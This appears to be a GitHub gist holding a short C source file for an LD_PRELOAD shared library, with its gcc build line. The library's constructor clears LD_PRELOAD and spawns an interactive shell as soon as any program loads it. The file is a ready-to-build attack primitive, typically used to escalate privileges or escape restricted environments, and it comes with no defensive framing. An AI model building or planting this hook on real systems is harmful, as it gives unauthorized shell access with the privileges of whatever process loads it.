Skip to content

Instantly share code, notes, and snippets.

@maple3142
Last active April 1, 2024 16:22
Show Gist options
  • Save maple3142/afa5eae234593c323bc18146edfc074c to your computer and use it in GitHub Desktop.
Save maple3142/afa5eae234593c323bc18146edfc074c to your computer and use it in GitHub Desktop.
generic LD_PRELOAD shell hook example
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
__attribute__((constructor)) void init() {
putenv("LD_PRELOAD=");
system("sh");
exit(0);
}
// gcc -shared -fPIC hook.c -o hook.so -ldl -Os -s -Wall
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment